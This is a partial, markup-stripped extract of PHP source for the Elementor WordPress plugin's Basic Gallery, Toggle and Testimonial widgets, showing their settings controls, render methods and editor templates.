! Utils::has_pro(), 'image' => esc_url( ELEMENTOR_ASSETS_URL . 'images/go-pro.svg' ), 'image_alt' => esc_attr__( 'Upgrade', 'elementor' ), 'description' => esc_html__( 'Use interesting masonry layouts and other overlay features with Elementor\'s Pro Gallery widget.', 'elementor' ), 'upgrade_url' => esc_url( 'https://go.elementor.com/go-pro-basic-gallery-widget/' ), 'upgrade_text' => esc_html__( 'Upgrade Now', 'elementor' ), ]; } /** * Register image gallery widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $this->start_controls_section( 'section_gallery', [ 'label' => esc_html__( 'Basic Gallery', 'elementor' ), ] ); $this->add_control( 'wp_gallery', [ 'label' => esc_html__( 'Add Images', 'elementor' ), 'type' => Controls_Manager::GALLERY, 'show_label' => false, 'dynamic' => [ 'active' => true, ], ] ); $this->add_group_control( Group_Control_Image_Size::get_type(), [ 'name' => 'thumbnail', // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `thumbnail_size` and `thumbnail_custom_dimension`. 'exclude' => [ 'custom' ], ] ); $gallery_columns = range( 1, 10 ); $gallery_columns = array_combine( $gallery_columns, $gallery_columns ); $this->add_control( 'gallery_columns', [ 'label' => esc_html__( 'Columns', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 4, 'options' => $gallery_columns, ] ); $this->add_control( 'gallery_display_caption', [ 'label' => esc_html__( 'Caption', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'options' => [ 'none' => esc_html__( 'None', 'elementor' ), '' => esc_html__( 'Attachment Caption', 'elementor' ), ], 'selectors' => [ '{{WRAPPER}} .gallery-item .gallery-caption' => 'display: {{VALUE}};', ], ] ); $this->add_control( 'gallery_link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'file', 'options' => [ 'file' => esc_html__( 'Media File', 'elementor' ), 'attachment' => esc_html__( 'Attachment Page', 'elementor' ), 'none' => esc_html__( 'None', 'elementor' ), ], ] ); $this->add_control( 'open_lightbox', [ 'label' => esc_html__( 'Lightbox', 'elementor' ), 'type' => Controls_Manager::SELECT, 'description' => sprintf( /* translators: 1: Link open tag, 2: Link close tag. */ esc_html__( 'Manage your site’s lightbox settings in the %1$sLightbox panel%2$s.', 'elementor' ), '', '' ), 'default' => 'default', 'options' => [ 'default' => esc_html__( 'Default', 'elementor' ), 'yes' => esc_html__( 'Yes', 'elementor' ), 'no' => esc_html__( 'No', 'elementor' ), ], 'condition' => [ 'gallery_link' => 'file', ], ] ); $this->add_control( 'gallery_rand', [ 'label' => esc_html__( 'Order By', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'rand' => esc_html__( 'Random', 'elementor' ), ], 'default' => '', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_gallery_images', [ 'label' => esc_html__( 'Images', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'image_spacing', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], 'prefix_class' => 'gallery-spacing-', 'default' => '', ] ); $columns_margin = is_rtl() ? '0 0 -{{SIZE}}{{UNIT}} -{{SIZE}}{{UNIT}};' : '0 -{{SIZE}}{{UNIT}} -{{SIZE}}{{UNIT}} 0;'; $columns_padding = is_rtl() ? '0 0 {{SIZE}}{{UNIT}} {{SIZE}}{{UNIT}};' : '0 {{SIZE}}{{UNIT}} {{SIZE}}{{UNIT}} 0;'; $this->add_control( 'image_spacing_custom', [ 'label' => esc_html__( 'Custom Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'default' => [ 'size' => 15, ], 'selectors' => [ '{{WRAPPER}} .gallery-item' => 'padding:' . $columns_padding, '{{WRAPPER}} .gallery' => 'margin: ' . $columns_margin, ], 'condition' => [ 'image_spacing' => 'custom', ], ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'image_border', 'selector' => '{{WRAPPER}} .gallery-item img', 'separator' => 'before', ] ); $this->add_responsive_control( 'image_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .gallery-item img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_caption', [ 'label' => esc_html__( 'Caption', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'gallery_display_caption' => '', ], ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], 'justify' => [ 'title' => esc_html__( 'Justified', 'elementor' ), 'icon' => 'eicon-text-align-justify', ], ], 'default' => 'center', 'selectors' => [ '{{WRAPPER}} .gallery-item .gallery-caption' => 'text-align: {{VALUE}};', ], 'condition' => [ 'gallery_display_caption' => '', ], ] ); $this->add_control( 'text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{WRAPPER}} .gallery-item .gallery-caption' => 'color: {{VALUE}};', ], 'condition' => [ 'gallery_display_caption' => '', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_ACCENT, ], 'selector' => '{{WRAPPER}} .gallery-item .gallery-caption', 'condition' => [ 'gallery_display_caption' => '', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'caption_shadow', 'selector' => '{{WRAPPER}} .gallery-item .gallery-caption', 'condition' => [ 'gallery_display_caption' => '', ], ] ); $this->add_responsive_control( 'caption_space', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .gallery-item .gallery-caption' => 'margin-block-start: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'gallery_display_caption' => '', ], ] ); $this->end_controls_section(); } /** * Render image gallery widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); if ( ! $settings['wp_gallery'] ) { return; } $ids = wp_list_pluck( $settings['wp_gallery'], 'id' ); $this->add_render_attribute( 'shortcode', 'ids', implode( ',', $ids ) ); $this->add_render_attribute( 'shortcode', 'size', $settings['thumbnail_size'] ); if ( $settings['gallery_columns'] ) { $this->add_render_attribute( 'shortcode', 'columns', $settings['gallery_columns'] ); } if ( $settings['gallery_link'] ) { $this->add_render_attribute( 'shortcode', 'link', $settings['gallery_link'] ); } if ( ! empty( $settings['gallery_rand'] ) ) { $this->add_render_attribute( 'shortcode', 'orderby', $settings['gallery_rand'] ); } ?> experiments->is_feature_active( 'nested-elements' ); } /** * Register toggle widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $this->start_controls_section( 'section_toggle', [ 'label' => esc_html__( 'Toggle', 'elementor' ), ] ); $repeater = new Repeater(); $repeater->add_control( 'tab_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'default' => esc_html__( 'Toggle Title', 'elementor' ), 'label_block' => true, 'dynamic' => [ 'active' => true, ], ] ); $repeater->add_control( 'tab_content', [ 'label' => esc_html__( 'Content', 'elementor' ), 'type' => Controls_Manager::WYSIWYG, 'default' => esc_html__( 'Toggle Content', 'elementor' ), 'dynamic' => [ 'active' => true, ], ] ); if ( Plugin::$instance->widgets_manager->get_widget_types( 'nested-accordion' ) ) { $this->add_deprecation_message( '3.15.0', esc_html__( 'You are currently editing a Toggle widget in its old version. Drag a new Accordion widget onto your page to use a newer version, providing nested capabilities.', 'elementor' ), 'nested-accordion' ); } $this->add_control( 'tabs', [ 'label' => esc_html__( 'Toggle Items', 'elementor' ), 'type' => Controls_Manager::REPEATER, 'fields' => $repeater->get_controls(), 'default' => [ [ 'tab_title' => esc_html__( 'Toggle #1', 'elementor' ), 'tab_content' => esc_html__( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ), ], [ 'tab_title' => esc_html__( 'Toggle #2', 'elementor' ), 'tab_content' => esc_html__( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ), ], ], 'title_field' => '{{{ tab_title }}}', ] ); $this->add_control( 'selected_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'separator' => 'before', 'fa4compatibility' => 'icon', 'default' => [ 'value' => 'fas fa-caret' . ( is_rtl() ? '-left' : '-right' ), 'library' => 'fa-solid', ], 'recommended' => [ 'fa-solid' => [ 'chevron-down', 'angle-down', 'angle-double-down', 'caret-down', 'caret-square-down', ], 'fa-regular' => [ 'caret-square-down', ], ], 'label_block' => false, 'skin' => 'inline', ] ); $this->add_control( 'selected_active_icon', [ 'label' => esc_html__( 'Active Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon_active', 'default' => [ 'value' => 'fas fa-caret-up', 'library' => 'fa-solid', ], 'recommended' => [ 'fa-solid' => [ 'chevron-up', 'angle-up', 'angle-double-up', 'caret-up', 'caret-square-up', ], 'fa-regular' => [ 'caret-square-up', ], ], 'skin' => 'inline', 'label_block' => false, 'condition' => [ 'selected_icon[value]!' => '', ], ] ); $this->add_control( 'title_html_tag', [ 'label' => esc_html__( 'Title HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', ], 'default' => 'div', 'separator' => 'before', ] ); $this->add_control( 'faq_schema', [ 'label' => esc_html__( 'FAQ Schema', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'separator' => 'before', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_toggle_style', [ 'label' => esc_html__( 'Toggle', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'border_width', [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 20, ], 'em' => [ 'max' => 2, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-tab-title' => 'border-width: {{SIZE}}{{UNIT}};', '{{WRAPPER}} .elementor-tab-content' => 'border-width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'border_color', [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-content' => 'border-bottom-color: {{VALUE}};', '{{WRAPPER}} .elementor-tab-title' => 'border-color: {{VALUE}};', ], ] ); $this->add_responsive_control( 'space_between', [ 'label' => esc_html__( 'Space Between', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-toggle-item:not(:last-child)' => 'margin-bottom: {{SIZE}}{{UNIT}}', ], ] ); $this->add_group_control( Group_Control_Box_Shadow::get_type(), [ 'name' => 'box_shadow', 'selector' => '{{WRAPPER}} .elementor-toggle-item', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_toggle_style_title', [ 'label' => esc_html__( 'Title', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'title_background', [ 'label' => esc_html__( 'Background', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-title' => 'background-color: {{VALUE}};', ], ] ); // The title selector specificity is to override Theme Style $this->add_control( 'title_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-toggle-title, {{WRAPPER}} .elementor-toggle-icon' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-toggle-icon svg' => 'fill: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], ] ); $this->add_control( 'tab_active_color', [ 'label' => esc_html__( 'Active Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-title.elementor-active a, {{WRAPPER}} .elementor-tab-title.elementor-active .elementor-toggle-icon' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_ACCENT, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'title_typography', 'selector' => '{{WRAPPER}} .elementor-toggle-title', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_PRIMARY, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'title_shadow', 'selector' => '{{WRAPPER}} .elementor-toggle-title', ] ); $this->add_responsive_control( 'title_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-tab-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_toggle_style_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'selected_icon[value]!' => '', ], ] ); $this->add_control( 'icon_align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'right' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'default' => is_rtl() ? 'right' : 'left', 'toggle' => false, ] ); $this->add_control( 'icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-title .elementor-toggle-icon i:before' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-tab-title .elementor-toggle-icon svg' => 'fill: {{VALUE}};', ], ] ); $this->add_control( 'icon_active_color', [ 'label' => esc_html__( 'Active Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-title.elementor-active .elementor-toggle-icon i:before' => 'color: {{VALUE}};', '{{WRAPPER}} .elementor-tab-title.elementor-active .elementor-toggle-icon svg' => 'fill: {{VALUE}};', ], ] ); $this->add_responsive_control( 'icon_space', [ 'label' => esc_html__( 'Spacing', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 10, ], 'rem' => [ 'max' => 10, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-toggle-icon.elementor-toggle-icon-left' => 'margin-right: {{SIZE}}{{UNIT}};', '{{WRAPPER}} .elementor-toggle-icon.elementor-toggle-icon-right' => 'margin-left: {{SIZE}}{{UNIT}};', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_toggle_style_content', [ 'label' => esc_html__( 'Content', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'content_background_color', [ 'label' => esc_html__( 'Background', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-content' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'content_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-tab-content' => 'color: {{VALUE}};', ], 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'content_typography', 'selector' => '{{WRAPPER}} .elementor-tab-content', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'content_shadow', 'selector' => '{{WRAPPER}} .elementor-tab-content', ] ); $this->add_responsive_control( 'content_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-tab-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); } /** * Render toggle widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $id_int = substr( $this->get_id_int(), 0, 3 ); $migrated = isset( $settings['__fa4_migrated']['selected_icon'] ); if ( ! isset( $settings['icon'] ) && ! Icons_Manager::is_migration_allowed() ) { // @todo: remove when deprecated // added as bc in 2.6 // add old default $settings['icon'] = 'fa fa-caret' . ( is_rtl() ? '-left' : '-right' ); $settings['icon_active'] = 'fa fa-caret-up'; $settings['icon_align'] = $this->get_settings( 'icon_align' ); } $is_new = empty( $settings['icon'] ) && Icons_Manager::is_migration_allowed(); $has_icon = ( ! $is_new || ! empty( $settings['selected_icon']['value'] ) ); ?>
$item ) : $tab_count = $index + 1; $tab_title_setting_key = $this->get_repeater_setting_key( 'tab_title', 'tabs', $index ); $tab_content_setting_key = $this->get_repeater_setting_key( 'tab_content', 'tabs', $index ); $this->add_render_attribute( $tab_title_setting_key, [ 'id' => 'elementor-tab-title-' . $id_int . $tab_count, 'class' => [ 'elementor-tab-title' ], 'data-tab' => $tab_count, 'role' => 'button', 'aria-controls' => 'elementor-tab-content-' . $id_int . $tab_count, 'aria-expanded' => 'false', ] ); $this->add_render_attribute( $tab_content_setting_key, [ 'id' => 'elementor-tab-content-' . $id_int . $tab_count, 'class' => [ 'elementor-tab-content', 'elementor-clearfix' ], 'data-tab' => $tab_count, 'role' => 'region', 'aria-labelledby' => 'elementor-tab-title-' . $id_int . $tab_count, ] ); $this->add_inline_editing_attributes( $tab_content_setting_key, 'advanced' ); ?>
< print_render_attribute_string( $tab_title_setting_key ); ?>> print_unescaped_setting( 'tab_title', 'tabs', $index ); ?> >
print_render_attribute_string( $tab_content_setting_key ); ?>>parse_text_editor( $item['tab_content'] ) ); ?>
'https://schema.org', '@type' => 'FAQPage', 'mainEntity' => [], ]; foreach ( $settings['tabs'] as $index => $item ) { $json['mainEntity'][] = [ '@type' => 'Question', 'name' => wp_strip_all_tags( $item['tab_title'] ), 'acceptedAnswer' => [ '@type' => 'Answer', 'text' => $this->parse_text_editor( $item['tab_content'] ), ], ]; } ?>
<# if ( settings.tabs ) { var tabindex = view.getIDInt().toString().substr( 0, 3 ), iconHTML = elementor.helpers.renderIcon( view, settings.selected_icon, {}, 'i' , 'object' ), iconActiveHTML = elementor.helpers.renderIcon( view, settings.selected_active_icon, {}, 'i' , 'object' ), migrated = elementor.helpers.isIconMigrated( settings, 'selected_icon' ), titleHTMLTag = elementor.helpers.validateHTMLTag( settings.title_html_tag ); _.each( settings.tabs, function( item, index ) { var tabCount = index + 1, tabTitleKey = view.getRepeaterSettingKey( 'tab_title', 'tabs', index ), tabContentKey = view.getRepeaterSettingKey( 'tab_content', 'tabs', index ); view.addRenderAttribute( tabTitleKey, { 'id': 'elementor-tab-title-' + tabindex + tabCount, 'class': [ 'elementor-tab-title' ], 'data-tab': tabCount, 'role': 'button', 'aria-controls': 'elementor-tab-content-' + tabindex + tabCount, 'aria-expanded': 'false', } ); view.addRenderAttribute( tabContentKey, { 'id': 'elementor-tab-content-' + tabindex + tabCount, 'class': [ 'elementor-tab-content', 'elementor-clearfix' ], 'data-tab': tabCount, 'role': 'region', 'aria-labelledby': 'elementor-tab-title-' + tabindex + tabCount } ); view.addInlineEditingAttributes( tabContentKey, 'advanced' ); #>
<{{{ titleHTMLTag }}} {{{ view.getRenderAttributeString( tabTitleKey ) }}}> <# if ( settings.icon || settings.selected_icon ) { #> <# } #> {{{ item.tab_title }}}
{{{ item.tab_content }}}
<# } ); } #>
! Utils::has_pro(), 'image' => esc_url( ELEMENTOR_ASSETS_URL . 'images/go-pro.svg' ), 'image_alt' => esc_attr__( 'Upgrade', 'elementor' ), 'description' => esc_html__( 'Use interesting masonry layouts and other overlay features with Elementor\'s Pro Gallery widget.', 'elementor' ), 'upgrade_url' => esc_url( 'https://go.elementor.com/go-pro-testimonial-widget/' ), 'upgrade_text' => esc_html__( 'Upgrade Now', 'elementor' ), ]; } /** * Register testimonial widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $this->start_controls_section( 'section_testimonial', [ 'label' => esc_html__( 'Testimonial', 'elementor' ), ] ); $this->add_control( 'testimonial_content', [ 'label' => esc_html__( 'Content', 'elementor' ), 'type' => Controls_Manager::TEXTAREA, 'dynamic' => [ 'active' => true, ], 'rows' => '10', 'default' => esc_html__( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, pulvinar dapibus leo.', 'elementor' ), ] ); $this->add_control( 'testimonial_image', [ 'label' => esc_html__( 'Choose Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'dynamic' => [ 'active' => true, ], 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], ] ); $this->add_group_control( Group_Control_Image_Size::get_type(), [ 'name' => 'testimonial_image', // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `testimonial_image_size` and `testimonial_image_custom_dimension`. 'default' => 'full', ] ); $this->add_control( 'testimonial_name', [ 'label' => esc_html__( 'Name', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'default' => esc_html__( 'John Doe', 'elementor' ), ] ); $this->add_control( 'testimonial_job', [ 'label' => esc_html__( 'Title', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, ], 'ai' => [ 'active' => false, ], 'default' => esc_html__( 'Designer', 'elementor' ), ] ); $this->add_control( 'link', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::URL, 'dynamic' => [ 'active' => true, ], ] ); $aside = is_rtl() ? 'right' : 'left'; $this->add_control( 'testimonial_image_position', [ 'label' => esc_html__( 'Image Position', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => 'aside', 'options' => [ 'aside' => [ 'title' => esc_html__( 'Aside', 'elementor' ), 'icon' => 'eicon-h-align-' . $aside, ], 'top' => [ 'title' => esc_html__( 'Top', 'elementor' ), 'icon' => 'eicon-v-align-top', ], ], 'toggle' => false, 'condition' => [ 'testimonial_image[url]!' => '', ], 'separator' => 'before', 'style_transfer' => true, ] ); $this->add_responsive_control( 'testimonial_alignment', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => 'center', 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'selectors' => [ '{{WRAPPER}} .elementor-testimonial-wrapper' => 'text-align: {{VALUE}}', ], 'style_transfer' => true, ] ); $this->end_controls_section(); // Content. $this->start_controls_section( 'section_style_testimonial_content', [ 'label' => esc_html__( 'Content', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'content_content_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_TEXT, ], 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-testimonial-content' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'content_typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_TEXT, ], 'selector' => '{{WRAPPER}} .elementor-testimonial-content', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'content_shadow', 'selector' => '{{WRAPPER}} .elementor-testimonial-content', ] ); $this->end_controls_section(); // Image. $this->start_controls_section( 'section_style_testimonial_image', [ 'label' => esc_html__( 'Image', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'testimonial_image[url]!' => '', ], ] ); $this->add_responsive_control( 'image_size', [ 'label' => esc_html__( 'Image Resolution', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'min' => 20, 'max' => 200, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-testimonial-wrapper .elementor-testimonial-image img' => 'width: {{SIZE}}{{UNIT}};height: {{SIZE}}{{UNIT}};', ], ] ); $this->add_group_control( Group_Control_Border::get_type(), [ 'name' => 'image_border', 'selector' => '{{WRAPPER}} .elementor-testimonial-wrapper .elementor-testimonial-image img', 'separator' => 'before', ] ); $this->add_responsive_control( 'image_border_radius', [ 'label' => esc_html__( 'Border Radius', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}} .elementor-testimonial-wrapper .elementor-testimonial-image img' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], ] ); $this->end_controls_section(); // Name. $this->start_controls_section( 'section_style_testimonial_name', [ 'label' => esc_html__( 'Name', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'name_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_PRIMARY, ], 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-testimonial-name' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'name_typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_PRIMARY, ], 'selector' => '{{WRAPPER}} .elementor-testimonial-name', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'name_shadow', 'selector' => '{{WRAPPER}} .elementor-testimonial-name', ] ); $this->end_controls_section(); // Job. $this->start_controls_section( 'section_style_testimonial_job', [ 'label' => esc_html__( 'Title', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'job_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_SECONDARY, ], 'default' => '', 'selectors' => [ '{{WRAPPER}} .elementor-testimonial-job' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'job_typography', 'global' => [ 'default' => Global_Typography::TYPOGRAPHY_SECONDARY, ], 'selector' => '{{WRAPPER}} .elementor-testimonial-job', ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'job_shadow', 'selector' => '{{WRAPPER}} .elementor-testimonial-job', ] ); $this->end_controls_section(); } /** * Render testimonial widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $has_content = ! empty( $settings['testimonial_content'] ); $has_image = ! empty( $settings['testimonial_image']['url'] ); $has_name = ! empty( $settings['testimonial_name'] ); $has_job = ! empty( $settings['testimonial_job'] ); if ( ! $has_content && ! $has_image && ! $has_name && ! $has_job ) { return; } $this->add_render_attribute( 'wrapper', 'class', 'elementor-testimonial-wrapper' ); $this->add_render_attribute( 'meta', 'class', 'elementor-testimonial-meta' ); if ( $settings['testimonial_image']['url'] ) { $this->add_render_attribute( 'meta', 'class', 'elementor-has-image' ); } if ( $settings['testimonial_image_position'] ) { $this->add_render_attribute( 'meta', 'class', 'elementor-testimonial-image-position-' . $settings['testimonial_image_position'] ); } if ( ! empty( $settings['link']['url'] ) ) { $this->add_link_attributes( 'link', $settings['link'] ); } ?>
print_render_attribute_string( 'wrapper' ); ?>> add_render_attribute( 'testimonial_content', 'class', 'elementor-testimonial-content' ); $this->add_inline_editing_attributes( 'testimonial_content' ); ?>
